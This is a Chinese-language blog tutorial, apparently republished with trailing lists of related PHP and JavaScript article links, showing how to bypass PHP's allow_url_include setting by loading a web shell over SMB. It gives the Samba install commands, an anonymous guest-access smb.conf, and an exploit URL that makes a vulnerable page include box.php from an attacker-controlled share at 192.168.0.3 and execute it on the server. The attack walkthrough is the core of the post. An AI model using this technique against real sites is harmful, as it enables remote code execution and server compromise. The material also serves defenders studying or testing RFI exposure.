使用SMB共享来绕过php远程文件包含的限制执行RFI的利用


Posted in PHP onMay 31, 2019

在这篇博文中,我将为大家演示如何利用PHP应用中的远程文件包含漏洞的技术。我们将绕过php远程文件包含的限制,并执行RFI的利用,即使PHP环境被配置为不包含来自远程HTTP/FTP URL的文件。

PHP 和 SMB 共享文件访问

在PHP配置文件中,“allow_url_include”wrapper默认设置为“Off”,指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止加载SMB URL。而这就极有可能被滥用来从SMB共享加载远程托管的PHP Web shell。

攻击场景概述

当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Web shell时,SMB共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP Web shell,SMB服务器将不会要求任何的凭据,易受攻击的应用程序将包含Web shell的PHP代码。

首先,我重新配置了PHP环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的SMB服务器。一旦SMB共享准备就绪,我们就可以利用易受攻击的应用程序了。

PHP 环境设置

将托管易受攻击代码的机器上的“allow_url_fopen”和“allow_url_include”设置为“Off”

以下是版本为“5.5.11”的PHP当前配置截图:

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

在继续下一步之前,让我们确保当我们尝试访问HTTP上托管的Web shell时,PHP代码不允许远程文件包含。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

可以看到,当我试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有包含远程文件。

使用匿名浏览访问配置 Samba 服务器(Linux 机器)
使用以下命令安装Samba服务器:

apt-get install samba创建SMB共享目录:

mkdir /var/www/html/pub/

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

配置新创建的SMB共享目录的权限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

运行以下命令,删除SAMBA服务器配置文件的默认内容。

echo > /etc/samba/smb.conf将以下内容添加到/etc/samba/smb.conf文件。

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555

force user = nobody现在,重启SAMBA服务器以使配置文件/etc/samba/smb.conf中的新配置生效。

service smbd restart成功重启SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不要求提供凭据。

在本例中,SAMBA服务器IP为192.168.0.3,我需要访问Windows文件浏览器中的SMB共享,如下:

\\192.168.0.3\ 

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

在 SMB 共享中托管 PHP Web shell

太棒了!可以访问smb共享,并显示目录“ica”存在。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

现在,将PHP shell托管在目录“/var/www/html/pub”中,该目录为smb共享目录“ica”。

成功托管PHP shell后,我们使用Windows文件浏览器访问SMB共享目录“ica”。

\\192.168.0.3\ica\可以看到php shell存在于smb共享目录中,在本例中为box.php文件。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

利用文件包含易受攻击的参数
让我们使用这个PHP shell SMB链接,以及易受攻击的php代码浏览它。

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpPHP易受攻击的代码从SMB共享中获取了web shell,并在应用程序服务器上执行了代码\m/。我们已经绕过了php远程文件包含的限制,并包含了托管在远程主机上的Web shell。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

总结

以上所述是小编给大家介绍的使用SMB共享来绕过php远程文件包含的限制执行RFI的利用,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
聊天室php&mysql(二)
Oct 09 PHP
php上传文件的增强函数
Jul 21 PHP
Php图像处理类代码分享
Jan 19 PHP
PHP5.3与5.5废弃与过期函数整理汇总
Jul 10 PHP
PHP中使用register_shutdown_function函数截获fatal error示例
Apr 21 PHP
PHP实现的增强性mhash函数
May 27 PHP
php使用ob_flush不能每隔一秒输出原理分析
Jun 02 PHP
CodeIgniter辅助之第三方类库third_party用法分析
Jan 20 PHP
Netbeans 8.2与PHP相关的新特性介绍
Oct 08 PHP
ThinkPHP5&5.1框架关联模型分页操作示例
Aug 03 PHP
php使用gearman进行任务分发操作实例详解
Feb 26 PHP
简单的php购物车代码
Jun 05 PHP
PHP使用ActiveMQ实现消息队列的方法详解
May 31 #PHP
php中的buffer缓冲区用法分析
May 31 #PHP
PHP实现基于状态的责任链审批模式详解
May 31 #PHP
Laravel框架实现调用百度翻译API功能示例
May 30 #PHP
Laravel框架学习笔记之批量更新数据功能
May 30 #PHP
PHP实现的微信公众号扫码模拟登录功能示例
May 30 #PHP
PHP使用PDO创建MySQL数据库、表及插入多条数据操作示例
May 30 #PHP
You might like
颠覆常识!无色透明的咖啡诞生了(中日双语)
2021/03/03 咖啡文化
PHPwind整合最土系统用户同步登录实现方法
2010/12/08 PHP
PHP中获取内网用户MAC地址(WINDOWS/linux)的实现代码
2011/08/11 PHP
PHP获取网址的顶级域名函数代码
2012/09/24 PHP
php查找字符串中第一个非0的位置截取
2017/02/27 PHP
jquery的$(document).ready()和onload的加载顺序
2010/05/26 Javascript
一个JQuery操作Table的代码分享
2012/03/30 Javascript
使用js判断控件是否获得焦点
2014/01/03 Javascript
搞定immutable.js详细说明
2016/05/02 Javascript
使用js获取地址栏参数的方法推荐(超级简单)
2016/06/14 Javascript
javascript与jquery动态创建html元素示例
2016/07/25 Javascript
详谈AngularJs 控制器、数据绑定、作用域
2017/07/09 Javascript
Angular4实现动态添加删除表单输入框功能
2017/08/11 Javascript
Angularjs渲染的 using 指令的星级评分系统示例
2017/11/09 Javascript
vue router-link传参以及参数的使用实例
2017/11/10 Javascript
小程序实现多选框功能
2018/10/30 Javascript
微信小程序实现留言板
2018/10/31 Javascript
Vue3.0中的monorepo管理模式的实现
2019/10/14 Javascript
JavaScript canvas实现雪花随机动态飘落
2020/02/08 Javascript
JS中间件设计模式的深入探讨与实例分析
2020/04/11 Javascript
解析Python中的变量、引用、拷贝和作用域的问题
2015/04/07 Python
python 简单的绘图工具turtle使用详解
2017/06/21 Python
对python中Librosa的mfcc步骤详解
2019/01/09 Python
Python字符串和正则表达式中的反斜杠('\')问题详解
2019/09/03 Python
浅谈Django+Gunicorn+Nginx部署之路
2019/09/11 Python
tensorflow使用指定gpu的方法
2020/02/04 Python
Python爬虫实现自动登录、签到功能的代码
2020/08/20 Python
CSS3媒体查询Media Queries基础学习教程
2016/02/29 HTML / CSS
优秀教师演讲稿
2014/05/06 职场文书
国际贸易专业求职信
2014/06/04 职场文书
2014年党员学习“三严三实”思想汇报
2014/09/15 职场文书
普通党员自我剖析材料
2014/10/07 职场文书
2015小学五年级班主任工作总结
2015/05/21 职场文书
大学毕业晚会开场白
2015/05/29 职场文书
幼儿教师远程研修感悟
2015/11/18 职场文书
python for循环赋值问题
2021/06/03 Python